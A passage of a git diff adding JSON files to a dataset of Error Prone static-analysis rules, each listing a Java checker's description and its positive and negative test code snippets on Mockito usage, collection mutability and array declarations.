simpleDateFormat = new SimpleDateFormat(\"yyyy-MM-dd\", Locale.getDefault());\n\n // Don't flag if the pattern contains \"ww\", the week-in-year specifier.\n simpleDateFormat = new SimpleDateFormat(\"YYYY-ww\");\n simpleDateFormat = new SimpleDateFormat(\"YY-ww\");\n simpleDateFormat = new SimpleDateFormat(\"Y-ww\");\n simpleDateFormat = new SimpleDateFormat(\"Yw\");\n }\n\n void testLiteralPatternWithFolding() {\n SimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"yyyy\" + \"-MM-dd\");\n }\n\n private static final String WEEK_YEAR_PATTERN = \"yyyy-MM-dd\";\n\n void testConstantPattern() {\n SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN);\n }\n\n private static class MySimpleDateFormat extends SimpleDateFormat {\n public MySimpleDateFormat(String pattern) {\n super(pattern);\n }\n }\n\n // Don't match on subtypes, since we don't know what their applyPattern and\n // applyLocalizedPattern methods might do.\n void testSubtype() {\n MySimpleDateFormat mySdf = new MySimpleDateFormat(\"YYYY-MM-dd\");\n mySdf.applyPattern(\"YYYY-MM-dd\");\n mySdf.applyLocalizedPattern(\"YYYY-MM-dd\");\n }\n}\\" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 238 + ], + "code": "import java.time.format.DateTimeFormatter;\n\n class Test {\n private static final String PATTERN = \"YYYY\";\n static final DateTimeFormatter FORMATTER = DateTimeFormatter.ofPattern(PATTERN);\n }\n \n\n import java.time.format.DateTimeFormatter;\n\n class Test {\n private static final String PATTERN = \"yyyy\";\n static final DateTimeFormatter FORMATTER = DateTimeFormatter.ofPattern(PATTERN);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MixedArrayDimensions.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MixedArrayDimensions.json new file mode 100644 index 0000000..5e8dd55 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MixedArrayDimensions.json @@ -0,0 +1,54 @@ +{ + "name": "MixedArrayDimensions", + "language": "java", + "description": "C-style array declarations should not be used", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 82, + "branches": 8, + "apis": 1, + "test": [ + { + "description": "positiveVariable", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "abstract class Test {\n int a[] = null;\n int[] b[][];\n int[][] c[] = null;\n int[][] d[][];\n }\n \n\n abstract class Test {\n int[] a = null;\n int[][][] b;\n int[][][] c = null;\n int[][][][] d;\n }" + }, + { + "description": "positiveMethod", + "expected-problems": null, + "expected-linenumbers": [ + 57 + ], + "code": "abstract class Test {\n int f()[] {\n return null;\n }\n\n abstract int[] g()[];\n\n int[] h()[][] {\n return null;\n }\n\n abstract int[][] i()[][];\n }\n \n\n abstract class Test {\n int[] f() {\n return null;\n }\n\n abstract int[][] g();\n\n int[][][] h() {\n return null;\n }\n\n abstract int[][][][] i();\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "abstract class Test {\n int[] f() {\n return null;\n }\n\n abstract int[][] g();\n\n int[][][] h() {\n return null;\n }\n\n abstract int[][][][] i();\n\n int[] a = null;\n\n void f(boolean[]... xs) {}\n }" + }, + { + "description": "negativeInSimpleCharStream", + "expected-problems": null, + "expected-linenumbers": [ + 124 + ], + "code": "final class SimpleCharStream {\n void test() {\n int a[];\n }\n }" + }, + { + "description": "comment", + "expected-problems": null, + "expected-linenumbers": [ + 139 + ], + "code": "abstract class Test {\n int /*@Nullable*/[] x;\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MixedDescriptors.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MixedDescriptors.json new file mode 100644 index 0000000..e85e13f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MixedDescriptors.json @@ -0,0 +1,30 @@ +{ + "name": "MixedDescriptors", + "language": "java", + "description": "The field number passed into #findFieldByNumber belongs to a different proto to the Descriptor.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 105, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n import com.google.protobuf.Descriptors.Descriptor;\n\n final class Test {\n void test(Descriptor d) {\n TestFieldProtoMessage.getDescriptor()\n .findFieldByNumber(TestFieldProtoMessage.FIELD_FIELD_NUMBER);\n TestFieldProtoMessage.getDescriptor().findFieldByNumber(1);\n d.findFieldByNumber(TestFieldProtoMessage.FIELD_FIELD_NUMBER);\n }\n }" + }, + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 56 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n final class Test {\n void test() {\n TestFieldProtoMessage.getDescriptor()\n // BUG: Diagnostic contains:\n .findFieldByNumber(TestProtoMessage.MULTI_FIELD_FIELD_NUMBER);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MixedMutabilityReturnType.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MixedMutabilityReturnType.json new file mode 100644 index 0000000..1eac000 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MixedMutabilityReturnType.json @@ -0,0 +1,150 @@ +{ + "name": "MixedMutabilityReturnType", + "language": "java", + "description": "This method returns both mutable and immutable collections or maps from different paths. This may be confusing for users of the method.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 408, + "branches": 39, + "apis": 9, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import java.util.Collections;\n import java.util.List;\n import java.util.ArrayList;\n\n class Test {\n // BUG: Diagnostic contains: MixedMutabilityReturnType\n List foo() {\n if (hashCode() > 0) {\n return Collections.emptyList();\n }\n return new ArrayList<>();\n }\n }" + }, + { + "description": "whenSuppressed_noWarning", + "expected-problems": null, + "expected-linenumbers": [ + 57 + ], + "code": "import java.util.Collections;\n import java.util.List;\n import java.util.ArrayList;\n\n class Test {\n @SuppressWarnings(\"MixedMutabilityReturnType\")\n List foo() {\n if (hashCode() > 0) {\n return Collections.emptyList();\n }\n return new ArrayList<>();\n }\n }" + }, + { + "description": "tracksActualVariableTypes", + "expected-problems": null, + "expected-linenumbers": [ + 80 + ], + "code": "import java.util.Collections;\n import java.util.List;\n import java.util.ArrayList;\n\n class Test {\n // BUG: Diagnostic contains: MixedMutabilityReturnType\n List foo() {\n if (hashCode() > 0) {\n return Collections.emptyList();\n }\n List ints = new ArrayList<>();\n return ints;\n }\n }" + }, + { + "description": "uninferrableTypes_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 104 + ], + "code": "import java.util.Collections;\n import java.util.List;\n import java.util.ArrayList;\n\n class Test {\n List foo() {\n if (hashCode() > 0) {\n return Collections.emptyList();\n }\n return bar();\n }\n\n List bar() {\n return new ArrayList<>();\n }\n }" + }, + { + "description": "allImmutable_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 130 + ], + "code": "import java.util.Collections;\n import java.util.List;\n import java.util.ArrayList;\n\n class Test {\n List foo() {\n if (hashCode() > 0) {\n return Collections.emptyList();\n }\n return Collections.singletonList(1);\n }\n }" + }, + { + "description": "nullType_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 152 + ], + "code": "import java.util.Collections;\n import java.util.List;\n import java.util.ArrayList;\n\n class Test {\n List foo() {\n if (hashCode() > 0) {\n return null;\n }\n return Collections.singletonList(1);\n }\n }" + }, + { + "description": "immutableEnumSetNotMisclassified", + "expected-problems": null, + "expected-linenumbers": [ + 174 + ], + "code": "import com.google.common.collect.Sets;\n import java.util.Set;\n\n class Test {\n enum E {\n A,\n B\n }\n\n Set test() {\n return Sets.immutableEnumSet(E.A);\n }\n }" + }, + { + "description": "simpleRefactoring", + "expected-problems": null, + "expected-linenumbers": [ + 197 + ], + "code": "import java.util.ArrayList;\n import java.util.Collections;\n import java.util.List;\n\n final class Test {\n List foo() {\n if (hashCode() > 0) {\n return Collections.emptyList();\n }\n List ints = new ArrayList<>();\n ints.add(1);\n return ints;\n }\n }\n \n\n import com.google.common.collect.ImmutableList;\n import java.util.ArrayList;\n import java.util.Collections;\n import java.util.List;\n\n final class Test {\n ImmutableList foo() {\n if (hashCode() > 0) {\n return ImmutableList.of();\n }\n ImmutableList.Builder ints = ImmutableList.builder();\n ints.add(1);\n return ints.build();\n }\n }" + }, + { + "description": "refactoringOverridable", + "expected-problems": null, + "expected-linenumbers": [ + 241 + ], + "code": "import java.util.ArrayList;\n import java.util.Collections;\n import java.util.List;\n\n class Test {\n List foo() {\n if (hashCode() > 0) {\n return Collections.emptyList();\n }\n List ints = new ArrayList<>();\n ints.add(1);\n return ints;\n }\n }\n \n\n import com.google.common.collect.ImmutableList;\n import java.util.ArrayList;\n import java.util.Collections;\n import java.util.List;\n\n class Test {\n List foo() {\n if (hashCode() > 0) {\n return ImmutableList.of();\n }\n List ints = new ArrayList<>();\n ints.add(1);\n return ImmutableList.copyOf(ints);\n }\n }" + }, + { + "description": "refactoringCantReplaceWithBuilder", + "expected-problems": null, + "expected-linenumbers": [ + 284 + ], + "code": "import com.google.common.collect.ImmutableList;\n import java.util.ArrayList;\n import java.util.Collections;\n import java.util.List;\n\n final class Test {\n List foo() {\n if (hashCode() > 0) {\n return ImmutableList.of();\n }\n List ints = new ArrayList<>();\n ints.add(1);\n ints.clear();\n ints.add(2);\n return ints;\n }\n }\n \n\n import com.google.common.collect.ImmutableList;\n import java.util.ArrayList;\n import java.util.Collections;\n import java.util.List;\n\n final class Test {\n ImmutableList foo() {\n if (hashCode() > 0) {\n return ImmutableList.of();\n }\n List ints = new ArrayList<>();\n ints.add(1);\n ints.clear();\n ints.add(2);\n return ImmutableList.copyOf(ints);\n }\n }" + }, + { + "description": "refactoringIgnoresAlreadyImmutableMap", + "expected-problems": null, + "expected-linenumbers": [ + 332 + ], + "code": "import com.google.common.collect.ImmutableMap;\n import java.util.HashMap;\n import java.util.Map;\n\n final class Test {\n Map foo() {\n if (hashCode() > 0) {\n return ImmutableMap.of(1, 1);\n }\n Map ints = new HashMap<>();\n ints.put(2, 2);\n return ints;\n }\n }\n \n\n import com.google.common.collect.ImmutableMap;\n import java.util.HashMap;\n import java.util.Map;\n\n final class Test {\n ImmutableMap foo() {\n if (hashCode() > 0) {\n return ImmutableMap.of(1, 1);\n }\n ImmutableMap.Builder ints = ImmutableMap.builder();\n ints.put(2, 2);\n return ints.build();\n }\n }" + }, + { + "description": "refactoringGuavaFactories", + "expected-problems": null, + "expected-linenumbers": [ + 375 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.common.collect.Lists;\n import java.util.List;\n\n final class Test {\n List foo() {\n if (hashCode() > 0) {\n return ImmutableList.of(1);\n } else if (hashCode() < 0) {\n List ints = Lists.newArrayList();\n ints.add(2);\n return ints;\n } else {\n List ints = Lists.newArrayList(1, 3);\n ints.add(2);\n return ints;\n }\n }\n }\n \n\n import com.google.common.collect.ImmutableList;\n import com.google.common.collect.Lists;\n import java.util.List;\n\n final class Test {\n ImmutableList foo() {\n if (hashCode() > 0) {\n return ImmutableList.of(1);\n } else if (hashCode() < 0) {\n ImmutableList.Builder ints = ImmutableList.builder();\n ints.add(2);\n return ints.build();\n } else {\n List ints = Lists.newArrayList(1, 3);\n ints.add(2);\n return ImmutableList.copyOf(ints);\n }\n }\n }" + }, + { + "description": "refactoringTreeMap", + "expected-problems": null, + "expected-linenumbers": [ + 428 + ], + "code": "import com.google.common.collect.ImmutableMap;\n import java.util.Map;\n import java.util.TreeMap;\n\n final class Test {\n Map foo() {\n if (hashCode() > 0) {\n return ImmutableMap.of(1, 1);\n }\n Map ints = new TreeMap<>();\n ints.put(2, 1);\n return ints;\n }\n }\n \n\n import com.google.common.collect.ImmutableMap;\n import java.util.Map;\n import java.util.TreeMap;\n\n final class Test {\n ImmutableMap foo() {\n if (hashCode() > 0) {\n return ImmutableMap.of(1, 1);\n }\n Map ints = new TreeMap<>();\n ints.put(2, 1);\n return ImmutableMap.copyOf(ints);\n }\n }" + }, + { + "description": "refactoringNonLocalReturnedVariable", + "expected-problems": null, + "expected-linenumbers": [ + 470 + ], + "code": "import java.util.ArrayList;\n import java.util.Collections;\n import java.util.List;\n\n class Test {\n List ints = new ArrayList<>();\n\n List foo() {\n if (hashCode() > 0) {\n return Collections.emptyList();\n }\n ints.add(1);\n return ints;\n }\n }\n \n\n import com.google.common.collect.ImmutableList;\n import java.util.ArrayList;\n import java.util.Collections;\n import java.util.List;\n\n class Test {\n List ints = new ArrayList<>();\n\n List foo() {\n if (hashCode() > 0) {\n return ImmutableList.of();\n }\n ints.add(1);\n return ImmutableList.copyOf(ints);\n }\n }" + }, + { + "description": "refactoringWithNestedCollectionsHelper", + "expected-problems": null, + "expected-linenumbers": [ + 515 + ], + "code": "import java.util.ArrayList;\n import java.util.Collections;\n import java.util.List;\n\n class Test {\n List foo(T a) {\n if (hashCode() > 0) {\n return new ArrayList<>(Collections.singleton(a));\n }\n return Collections.singletonList(a);\n }\n }\n \n\n import com.google.common.collect.ImmutableList;\n import java.util.ArrayList;\n import java.util.Collections;\n import java.util.List;\n\n class Test {\n List foo(T a) {\n if (hashCode() > 0) {\n return ImmutableList.copyOf(new ArrayList<>(Collections.singleton(a)));\n }\n return ImmutableList.of(a);\n }\n }" + }, + { + "description": "refactoringWithVar", + "expected-problems": null, + "expected-linenumbers": [ + 554 + ], + "code": "import java.util.ArrayList;\n import java.util.Collections;\n import java.util.List;\n\n final class Test {\n List foo() {\n if (hashCode() > 0) {\n return Collections.emptyList();\n }\n var ints = new ArrayList<>();\n ints.add(1);\n return ints;\n }\n }\n \n\n import com.google.common.collect.ImmutableList;\n import java.util.ArrayList;\n import java.util.Collections;\n import java.util.List;\n\n final class Test {\n ImmutableList foo() {\n if (hashCode() > 0) {\n return ImmutableList.of();\n }\n var ints = ImmutableList.builder();\n ints.add(1);\n return ints.build();\n }\n }" + }, + { + "description": "biMap_doesNotCrash", + "expected-problems": null, + "expected-linenumbers": [ + 599 + ], + "code": "import com.google.common.collect.BiMap;\n import com.google.common.collect.HashBiMap;\n import com.google.common.collect.ImmutableBiMap;\n\n class Test {\n // BUG: Diagnostic contains: MixedMutabilityReturnType\n public BiMap foo() {\n if (hashCode() > 0) {\n return ImmutableBiMap.of();\n }\n return HashBiMap.create(5);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MockIllegalThrows.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MockIllegalThrows.json new file mode 100644 index 0000000..4ca6a04 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MockIllegalThrows.json @@ -0,0 +1,70 @@ +{ + "name": "MockIllegalThrows", + "language": "java", + "description": "This exception can't be thrown by the mocked method.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 88, + "branches": 9, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import static org.mockito.Mockito.when;\n\n abstract class Test {\n abstract Object foo();\n\n void test(Test t) {\n // BUG: Diagnostic contains: only unchecked\n when(t.foo()).thenThrow(new Exception());\n }\n }" + }, + { + "description": "positive_multipleThrows", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "import static org.mockito.Mockito.when;\n\n abstract class Test {\n abstract Object foo();\n\n void test(Test t) {\n // BUG: Diagnostic contains: only unchecked\n when(t.foo()).thenThrow(new IllegalStateException(), new Exception());\n }\n }" + }, + { + "description": "positiveWithSpecificType", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "import static org.mockito.Mockito.when;\n\n abstract class Test {\n static class SpecificException extends Exception {}\n\n abstract Object foo() throws SpecificException;\n\n void test(Test t) throws Exception {\n // BUG: Diagnostic contains: are SpecificException, or any unchecked\n when(t.foo()).thenThrow(new Exception());\n }\n }" + }, + { + "description": "negative_exceptionTypeViaParameter", + "expected-problems": null, + "expected-linenumbers": [ + 91 + ], + "code": "import static org.mockito.Mockito.when;\n\n abstract class Test {\n static class SpecificException extends Exception {}\n\n abstract Object foo() throws SpecificException;\n\n void test(Test t, Exception e) throws Exception {\n when(t.foo()).thenThrow(e);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 112 + ], + "code": "import static org.mockito.Mockito.when;\n\n abstract class Test {\n abstract Object foo() throws Exception;\n\n void test(Test t) throws Exception {\n when(t.foo()).thenThrow(new Exception());\n }\n }" + }, + { + "description": "nothingThrown_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 131 + ], + "code": "import static org.mockito.Mockito.when;\n\n abstract class Test {\n abstract Object foo() throws Exception;\n\n void test(Test t) throws Exception {\n when(t.foo()).thenThrow();\n }\n }" + }, + { + "description": "genericException", + "expected-problems": null, + "expected-linenumbers": [ + 150 + ], + "code": "import static org.mockito.Mockito.when;\n\n abstract class Test {\n interface GenericException {\n Object execute() throws E;\n }\n\n void test(GenericException ge) throws Exception {\n when(ge.execute()).thenThrow(new Exception());\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MockNotUsedInProduction.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MockNotUsedInProduction.json new file mode 100644 index 0000000..6735ea3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MockNotUsedInProduction.json @@ -0,0 +1,118 @@ +{ + "name": "MockNotUsedInProduction", + "language": "java", + "description": "This mock is instantiated and configured, but is never passed to production code. It should be either removed or used.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 188, + "branches": 14, + "apis": 2, + "test": [ + { + "description": "neverUsed", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.when;\n\n class Test {\n public Object test() {\n // BUG: Diagnostic contains:\n Test test = mock(Test.class);\n when(test.test()).thenCallRealMethod();\n return null;\n }\n }" + }, + { + "description": "neverUsed_butInitializedSeparately", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.when;\n\n class Test {\n private Test test;\n\n public Object test() {\n // BUG: Diagnostic contains:\n test = mock(Test.class);\n when(test.test()).thenCallRealMethod();\n return null;\n }\n }" + }, + { + "description": "spyNeverUsed", + "expected-problems": null, + "expected-linenumbers": [ + 77 + ], + "code": "import static org.mockito.Mockito.spy;\n import static org.mockito.Mockito.verify;\n\n class Test {\n public Object test() {\n // BUG: Diagnostic contains:\n Test test = spy(new Test());\n verify(test).test();\n return null;\n }\n }" + }, + { + "description": "nonStaticVerify_countsAsUse", + "expected-problems": null, + "expected-linenumbers": [ + 98 + ], + "code": "import static org.mockito.Mockito.spy;\n\n class Test {\n public Object test() {\n Test test = spy(new Test());\n verify(test).test();\n return null;\n }\n\n Test verify(Test t) {\n return t;\n }\n }" + }, + { + "description": "passedToProduction", + "expected-problems": null, + "expected-linenumbers": [ + 121 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.when;\n\n class Test {\n public Object test() {\n Test test = mock(Test.class);\n when(test.test()).thenCallRealMethod();\n return test.test();\n }\n }" + }, + { + "description": "possiblyBound", + "expected-problems": null, + "expected-linenumbers": [ + 141 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.when;\n import com.google.inject.testing.fieldbinder.Bind;\n import org.mockito.Mock;\n\n class Test {\n @Bind @Mock public Test test;\n\n public Object test() {\n when(test.test()).thenCallRealMethod();\n return null;\n }\n }" + }, + { + "description": "publicField", + "expected-problems": null, + "expected-linenumbers": [ + 164 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.when;\n import org.mockito.Mock;\n\n class Test {\n @Mock public Test test;\n\n public Object test() {\n when(test.test()).thenCallRealMethod();\n return null;\n }\n }" + }, + { + "description": "qualifiedWithThis_stillSeen", + "expected-problems": null, + "expected-linenumbers": [ + 186 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.when;\n import org.mockito.Mock;\n\n class Test {\n @Mock private Test test;\n\n public Test test() {\n return this.test;\n }\n }" + }, + { + "description": "privateField", + "expected-problems": null, + "expected-linenumbers": [ + 207 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.when;\n import org.mockito.Mock;\n\n class Test {\n // BUG: Diagnostic contains:\n @Mock private Test test;\n\n public Object test() {\n when(test.test()).thenCallRealMethod();\n return null;\n }\n }" + }, + { + "description": "injectMocks_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 230 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.when;\n import org.mockito.InjectMocks;\n import org.mockito.Mock;\n\n class Test {\n @Mock private Test test;\n @InjectMocks Test t;\n\n public Object test() {\n when(test.test()).thenCallRealMethod();\n return null;\n }\n }" + }, + { + "description": "suppressionWorks", + "expected-problems": null, + "expected-linenumbers": [ + 254 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.when;\n import org.mockito.Mock;\n\n class Test {\n @SuppressWarnings(\"MockNotUsedInProduction\")\n @Mock\n private Test test;\n\n public Object test() {\n when(test.test()).thenCallRealMethod();\n return null;\n }\n }" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 278 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.when;\n import org.mockito.Mock;\n\n class Test {\n @Mock private Test test;\n\n public Object test() {\n when(test.test()).thenCallRealMethod();\n return null;\n }\n }\n \n\n import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.when;\n import org.mockito.Mock;\n\n class Test {\n public Object test() {\n return null;\n }\n }" + }, + { + "description": "refactoringNested", + "expected-problems": null, + "expected-linenumbers": [ + 313 + ], + "code": "import static org.mockito.Mockito.doAnswer;\n import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.when;\n import org.mockito.Mock;\n\n class Test {\n @Mock private Test test;\n\n public Object test() {\n doAnswer(\n a -> {\n when(test.test()).thenReturn(null);\n return null;\n })\n .when(test)\n .test();\n return null;\n }\n }\n \n\n import static org.mockito.Mockito.doAnswer;\n import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.when;\n import org.mockito.Mock;\n\n class Test {\n public Object test() {\n return null;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MockitoDoSetup.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MockitoDoSetup.json new file mode 100644 index 0000000..60a507a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MockitoDoSetup.json @@ -0,0 +1,54 @@ +{ + "name": "MockitoDoSetup", + "language": "java", + "description": "Prefer using when/thenReturn over doReturn/when for additional type safety.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 173, + "branches": 19, + "apis": 1, + "test": [ + { + "description": "happy", + "expected-problems": null, + "expected-linenumbers": [ + 28 + ], + "code": "import org.mockito.Mockito;\n\n public class Test {\n public int test(Test test) {\n Mockito.doReturn(1).when(test).test(null);\n return 1;\n }\n }\n \n\n import static org.mockito.Mockito.when;\n import org.mockito.Mockito;\n\n public class Test {\n public int test(Test test) {\n when(test.test(null)).thenReturn(1);\n return 1;\n }\n }" + }, + { + "description": "ignoresSpiesCreatedByAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 59 + ], + "code": "import org.mockito.Mockito;\n\n public class Test {\n @org.mockito.Spy Test test;\n\n public int test() {\n Mockito.doReturn(1).when(test).test();\n return 1;\n }\n }" + }, + { + "description": "ignoresSpiesCreatedByStaticMethod", + "expected-problems": null, + "expected-linenumbers": [ + 80 + ], + "code": "import org.mockito.Mockito;\n\n public class Test {\n Test test = Mockito.spy(Test.class);\n\n public int test() {\n Mockito.doReturn(1).when(test).test();\n return 1;\n }\n }" + }, + { + "description": "ignoresMocksConfiguredToThrow_viaThenThrow", + "expected-problems": null, + "expected-linenumbers": [ + 101 + ], + "code": "import org.mockito.Mockito;\n\n public class Test {\n public int test(Test test) {\n Mockito.doReturn(1).when(test).test(null);\n Mockito.when(test.test(null)).thenThrow(new Exception());\n return 1;\n }\n }" + }, + { + "description": "ignoresMocksConfiguredToThrow_viaDoThrow", + "expected-problems": null, + "expected-linenumbers": [ + 121 + ], + "code": "import org.mockito.Mockito;\n\n public class Test {\n public int test(Test test) {\n Mockito.doReturn(1).when(test).test(null);\n Mockito.doThrow(new Exception()).when(test).test(null);\n return 1;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MockitoUsage.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MockitoUsage.json new file mode 100644 index 0000000..9f04b74 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MockitoUsage.json @@ -0,0 +1,78 @@ +{ + "name": "MockitoUsage", + "language": "java", + "description": "Missing method call for verify(mock) here", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 96, + "branches": 11, + "apis": 2, + "test": [ + { + "description": "negative_thenReturn", + "expected-problems": null, + "expected-linenumbers": [ + 39 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.when;\n\n class Test {\n void test() {\n Foo mock = mock(Foo.class);\n when(mock.get()).thenReturn(null);\n }\n }" + }, + { + "description": "negative_verify", + "expected-problems": null, + "expected-linenumbers": [ + 59 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.verify;\n\n class Test {\n void test() {\n Foo mock = mock(Foo.class);\n verify(mock).execute();\n }\n }" + }, + { + "description": "positive_verify_never_noMethod", + "expected-problems": null, + "expected-linenumbers": [ + 79 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.verify;\n import static org.mockito.Mockito.never;\n\n class Test {\n void test() {\n Foo mock = mock(Foo.class);\n // BUG: Diagnostic contains:\n // Missing method call for verify(mock, never())\n // verifyZeroInteractions(mock);\n verify(mock, never());\n }\n }" + }, + { + "description": "positive_verify_never_method", + "expected-problems": null, + "expected-linenumbers": [ + 103 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.verify;\n import static org.mockito.Mockito.never;\n\n class Test {\n void test() {\n Foo mock = mock(Foo.class);\n // BUG: Diagnostic contains:\n // Missing method call for verify(mock.execute(), never())\n // verify(mock, never()).execute();\n verify(mock.execute(), never());\n }\n }" + }, + { + "description": "positive_thenReturn", + "expected-problems": null, + "expected-linenumbers": [ + 127 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.when;\n\n class Test {\n void test() {\n Foo mock = mock(Foo.class);\n // BUG: Diagnostic contains:\n // Missing method call for when(mock.get()) here\n // remove this line\n when(mock.get());\n }\n }" + }, + { + "description": "positive_verify_methodInside", + "expected-problems": null, + "expected-linenumbers": [ + 150 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.verify;\n\n class Test {\n void test() {\n Foo mock = mock(Foo.class);\n // BUG: Diagnostic contains:\n // Missing method call for verify(mock.execute()) here\n // verify(mock).execute();\n verify(mock.execute());\n }\n }" + }, + { + "description": "positive_verify_noMethod", + "expected-problems": null, + "expected-linenumbers": [ + 173 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.verify;\n\n class Test {\n void test() {\n Foo mock = mock(Foo.class);\n // BUG: Diagnostic contains:\n // Missing method call for verify(mock) here\n // remove this line\n verify(mock);\n }\n }" + }, + { + "description": "positive_verify_times", + "expected-problems": null, + "expected-linenumbers": [ + 196 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.verify;\n import static org.mockito.Mockito.times;\n\n class Test {\n void test() {\n Foo mock = mock(Foo.class);\n // BUG: Diagnostic contains:\n // Missing method call for verify(mock.execute(), times(1))\n // verify(mock, times(1)).execute();\n verify(mock.execute(), times(1));\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ModifiedButNotUsed.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ModifiedButNotUsed.json new file mode 100644 index 0000000..8bf510a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ModifiedButNotUsed.json @@ -0,0 +1,142 @@ +{ + "name": "ModifiedButNotUsed", + "language": "java", + "description": "A collection or proto builder was created, but its values were never accessed.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 359, + "branches": 31, + "apis": 9, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 38 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n void test() {\n // BUG: Diagnostic contains:\n List foo = new ArrayList<>();\n foo.add(1);\n List bar;\n // BUG: Diagnostic contains:\n bar = new ArrayList<>();\n 